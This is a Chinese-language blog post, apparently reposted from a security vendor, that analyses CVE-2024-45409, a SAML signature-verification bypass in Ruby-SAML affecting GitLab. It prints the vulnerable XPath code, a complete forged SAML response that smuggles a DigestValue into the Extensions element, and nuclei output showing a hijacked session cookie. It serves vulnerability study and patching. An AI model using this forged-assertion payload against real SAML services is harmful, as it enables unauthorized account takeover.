使用说明:本文章仅用于学习技术研究,请勿用于违法用途,造成任何后果自负与本人无关,请自觉遵守国家法律法规。
一、介绍
在这篇博文中,我们将分析CVE-2024-45409,这是一个影响Ruby-SAML, OmniAuth-SAML库的关键漏洞,它有效地影响了GitLab。此漏洞允许攻击者绕过SAML身份验证机制,并通过利用SAML响应处理方式中的缺陷获得未经授权的访问。这个问题的出现是由于用于保护SAML断言的数字签名的验证存在弱点,从而允许攻击者操纵SAML响应并绕过关键的安全检查。
二、SAML消息验证
SAML是一种广泛使用的协议,用于在身份提供者(idp)和服务提供者(sp)之间交换身份验证和授权数据。确保这种交换安全性的一个关键部分是通过数字签名和摘要验证来验证数据的完整性和真实性。
在本节中,我们将首先解释SAML签名和摘要验证是如何工作的,然后探索Ruby-SAML中可以用来规避签名验证的绕过。
三、SAML签名是如何工作的?
在典型的SAML响应中,Assertion元素保存关键的安全信息,例如经过身份验证的用户的详细信息。为了确保此信息未被篡改,对其进行了数字签名。
1.断言元素和摘要计算
Assertion元素包含安全凭证,并且通过计算断言的规范化内容的摘要(散列)来保护该元素的完整性。在计算此摘要之前,将从断言中删除签名节点。然后将此摘要包含在签名元素的SignedInfo块中。
2.签名元素和签名信息块
Signature元素包含一个SignedInfo块,它包含:
-
指向断言的引用URI。
-
DigestValue,表示断言块的摘要,计算后存储在此块中。
一旦将摘要包含在SignedInfo块中,就使用IdP的私钥对整个SignedInfo进行签名,并将结果放置在SignatureValue元素中。
下面是该结构的一个简化的XML示例:
<Assertion ID="_abc123">
<Signature>
<SignedInfo>
<Reference URI="#_abc123">
<DigestMethod Algorithm="http://www.w3.org/2001/04/xmlenc#sha256" />
<DigestValue>abc123DigestValue</DigestValue>
</Reference>
</SignedInfo>
<SignatureValue>SignedWithPrivateKey</SignatureValue>
</Signature>
<!-- Assertion contents -->
</Assertion>
四、摘要和签名如何确保完整性?
对断言的任何修改都会导致其哈希值发生变化。然而,由于“SignedInfo”元素中包含原始哈希值,并且该值是用IdP的私钥进行签名的,因此攻击者无法在不使签名失效的情况下更改“SignedInfo”块。这一机制确保服务提供商(SP)在验证响应时能够检测到对断言的未经授权修改。
签名验证流程
当服务提供商(SP)接收到SAML响应时,将执行两项关键检查:
-
摘要验证:SP会计算断言(移除签名节点后)的摘要,并将其与“SignedInfo”块中的摘要值进行比较。如果两者不匹配,则表明断言已被篡改。
-
签名验证:SP使用IdP的公钥来验证“SignedInfo”块上的签名。如果签名有效,则确认IdP已对消息进行了合法签署,且消息未遭篡改。
五、Ruby-SAML旁路
在Ruby-SAML库中,在实际签名验证之前会发生几次验证,包括模式验证和对断言数量的检查。然而,由于在验证过程中如何使用XPath提取某些元素,因此出现了一个特定的漏洞。
XPATH复习:
/ - 这从文档的根目录开始选择节点。例如,/samlp:Response检索<samlp:Response>根节点。同样,/samlp:Response/saml:Issuer将从根节点<samlp:Response>开始访问<saml:Issuer>。
./ - 这会选择相对于当前节点的节点。例如,如果当前上下文是<签名>元素,那么。/SignedInfo将返回<SignedInfo>节点,该节点是<Signature>的直接子节点。
// - 这从文档中的任何地方选择节点,包括所有嵌套节点。例如,//SignedInfo将选择<SignedInfo>的所有实例,无论它们在文档中嵌套的深度如何。
在Ruby-SAML库中提交了一个补丁,试图加强安全性。以前,在XPath选择器中使用//访问元素的方式过于宽容。
https://github.com/SAML-Toolkits/ruby-saml/commit/4865d030cae9705ee5cdb12415c654c634093ae7?ref=blog.projectdiscovery.io
问题就在这里:当从引用节点提取DigestValue时,使用XPath表达式//ds:DigestValue。这意味着将从文档中的任何位置选择具有DSIG名称空间的DigestValue元素的第一个出现。
encoded_digest_value = REXML::XPath.first(
ref,
"//ds:DigestValue",
{ "ds" => DSIG }
)
通过利用这一点,攻击者可以将另一个DigestValue偷运到samlp:extensions元素中的文档中,该元素被设计用于保存具有有效名称空间的任何元素。
六、绕过签名验证
该漏洞允许我们绕过签名验证,如下所示:
-
我们将修改后断言的DigestValue插入到samlp:extensions元素中。
-
XPath选择器将提取这个走私的DigestValue,而不是SignedInfo块中的DigestValue。
-
因为SignedInfo块本身没有被修改,所以它通过了签名检查,但是实际的断言内容可能已经被篡改了。
下面的例子说明了如何在代码中利用这一点:
hash = digest_algorithm.digest(canon_hashed_element)
encoded_digest_value = REXML::XPath.first(
ref,
"//ds:DigestValue",
{ "ds" => DSIG }
)
digest_value = Base64.decode64(OneLogin::RubySaml::Utils.element_text(encoded_digest_value))
unless digests_match?(hash, digest_value)
return append_error("Digest mismatch", soft)
end
unless cert.public_key.verify(signature_algorithm.new, signature, canon_string)
return append_error("Key validation error", soft)
end
在这种情况下:
-
canon_hashhed_element引用没有签名块的断言块。
-
encoded_digest_value是我们控制的DigestValue,隐藏在sample扩展中。
-
canon_string指向SignedInfo块。
下面是一个示例SAML响应来执行SAML旁路:
<samlp:Response Destination="http://kubernetes.docker.internal:3000/saml/acs"
ID="_afe0ff5379c42c67e0fb" InResponseTo="_f55b2958-2c8d-438b-a3fe-e84178b8d4fc"
IssueInstant="2024-10-03T13:50:44.973Z" Version="2.0"
xmlns:samlp="urn:oasis:names:tc:SAML:2.0:protocol" xmlns:xs="http://www.w3.org/2001/XMLSchema">
<saml:Issuer Format="urn:oasis:names:tc:SAML:2.0:nameid-format:entity"
xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion">https://saml.example.com/entityid</saml:Issuer>
<samlp:Extensions>
<DigestValue xmlns="http://www.w3.org/2000/09/xmldsig#">
legitdigestvalue
</DigestValue>
</samlp:Extensions>
<samlp:Status xmlns:samlp="urn:oasis:names:tc:SAML:2.0:protocol">
<samlp:StatusCode Value="urn:oasis:names:tc:SAML:2.0:status:Success" />
</samlp:Status>
<saml:Assertion ID="_911d8da24301c447b649" IssueInstant="2024-10-03T13:50:44.973Z" Version="2.0"
xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion"
xmlns:xs="http://www.w3.org/2001/XMLSchema">
<saml:Issuer Format="urn:oasis:names:tc:SAML:2.0:nameid-format:entity"
xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion">https://saml.example.com/entityid</saml:Issuer>
<Signature xmlns="http://www.w3.org/2000/09/xmldsig#">
<SignedInfo>
<CanonicalizationMethod Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#" />
<SignatureMethod Algorithm="http://www.w3.org/2001/04/xmldsig-more#rsa-sha256" />
<Reference URI="#_911d8da24301c447b649">
<Transforms>
<Transform Algorithm="http://www.w3.org/2000/09/xmldsig#enveloped-signature" />
<Transform Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#" />
</Transforms>
<DigestMethod Algorithm="http://www.w3.org/2001/04/xmlenc#sha256" />
<DigestValue>U31P2Bs1niIjPrSSA5hpC0GN4EZvsWMiOrHh6TqQFqM=</DigestValue>
</Reference>
</SignedInfo>
<SignatureValue>
KUM0YSAtobgqTq1d2dkd6Lugrh5vOhAawv4M8QPkxsiHaOuGxLCyqlJy74opHHc2K5S5hz8Us12kVplsHrFBJUezAbD+ME9Qx6bHc3G8RUfjnkJgEqb8m9yQAWpDNIBOff4nUbJp9wnMmLmTyOj7at+rkFpyrydHVBTNemkRNShuH/+3aYBWSmUJkOV2dVhUjHF9nTJv/6KAA39S8Z86uNulwxN+0Cc55bGH2P+qau3YYafpEJVEG17cVLL0mkpVUTRxtBn/8vJHCPbwT7/hx2RXdxdM+V6T59kPuRRW5iyGzk2bx6qKvUCqLwWTp5xA/uw0WxlDvCiQGpzJBVz5gA==</SignatureValue>
<KeyInfo>
<X509Data>
<X509Certificate>MIIC4jCC....HpLKQQ==</X509Certificate>
</X509Data>
</KeyInfo>
</Signature>
<saml:Subject xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion">
<saml:NameID Format="urn:oasis:names:tc:SAML:1.1:nameid-format:emailAddress">
[email protected]</saml:NameID>
<saml:SubjectConfirmation Method="urn:oasis:names:tc:SAML:2.0:cm:bearer">
<saml:SubjectConfirmationData InResponseTo="_f55b2958-2c8d-438b-a3fe-e84178b8d4fc"
NotOnOrAfter="2024-10-03T13:55:44.973Z"
Recipient="http://kubernetes.docker.internal:3000/saml/acs" />
</saml:SubjectConfirmation>
</saml:Subject>
<saml:Conditions NotBefore="2024-10-03T13:45:44.973Z"
NotOnOrAfter="2024-10-03T13:55:44.973Z"
xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion">
<saml:AudienceRestriction>
<saml:Audience>https://saml.example.com/entityid</saml:Audience>
</saml:AudienceRestriction>
</saml:Conditions>
<saml:AuthnStatement AuthnInstant="2024-10-03T13:50:44.973Z"
SessionIndex="_f55b2958-2c8d-438b-a3fe-e84178b8d4fc"
xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion">
<saml:AuthnContext>
<saml:AuthnContextClassRef>
urn:oasis:names:tc:SAML:2.0:ac:classes:PasswordProtectedTransport</saml:AuthnContextClassRef>
</saml:AuthnContext>
</saml:AuthnStatement>
<saml:AttributeStatement xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion">
<saml:Attribute Name="id"
NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:unspecified">
<saml:AttributeValue xmlns:xs="http://www.w3.org/2001/XMLSchema"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:type="xs:string">
1dda9fb491dc01bd24d2423ba2f22ae561f56ddf2376b29a11c80281d21201f9</saml:AttributeValue>
</saml:Attribute>
<saml:Attribute Name="email"
NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:unspecified">
<saml:AttributeValue xmlns:xs="http://www.w3.org/2001/XMLSchema"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:type="xs:string">
[email protected]</saml:AttributeValue>
</saml:Attribute>
</saml:AttributeStatement>
</saml:Assertion>
</samlp:Response>
我们创建了nuclei的脚本,以便在获得目标用户的SAMLResponse后简化获取会话cookie的过程。(脚本放在文字最后了)
$ nuclei -t CVE-2024-45409.yaml -u https://gitlab.redacted.com -code -var SAMLResponse='REDACTED'
__ _
____ __ _______/ /__ (_)
/ __ / / / / ___/ / _ / /
/ / / / /_/ / /__/ / __/ /
/_/ /_/__,_/___/_/___/_/ v3.3.4
projectdiscovery.io
[.3.4 (latest) ] Current nuclei version: v3
[.0.1 (latest) ] Current nuclei-templates version: v10
[is disabled. ] Scan results upload to cloud
[in latest release: 86 ] New templates added
[for current scan: 1 ] Templates loaded
[1 signed templates from projectdiscovery/nuclei-templates ] Executing
[for current scan: 1 ] Targets loaded
[//gitlab.redacted.com/users/auth/saml/callback ["c4a8f2720a97068ee44440beee8f296c"] ] [http] [critical] https:
我们还录制了视频poc,展示了在GitLab上绕过SAML认证
结论
CVE-2024-45409漏洞展示了签名验证中的一个细微缺陷如何造成严重后果,允许攻击者绕过关键的身份验证机制。这一分析强调了严格验证过程的重要性,特别是在处理SAML等安全协议时。虽然该漏洞已被修补,但它提醒我们,如果不仔细实现,即使是广泛采用的库也可能存在漏洞。
依赖Ruby-SAML/OmniAuth-SAML进行身份验证的组织/应用程序应该确保它们的库是最新的。通过了解这些漏洞的本质,开发人员和安全团队可以加强对潜在攻击的防御。
nuclei脚本:微信公众号回复“nuclei-CVE-2024-45409”
记得点赞+关注,关注微信公众号菜鸟学渗透或者www.cnxst.vip,获取最新文章,有任何问题可以后台私信我
有考取NISP一级/二级/三级、CISP-PTE/PTS等证书的可以加我好友私信我(公众号回复“加好友”)。
原文始发于微信公众号(菜鸟学渗透):Ruby-SAML / GitLab身份验证绕过(CVE-2024-45409)
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论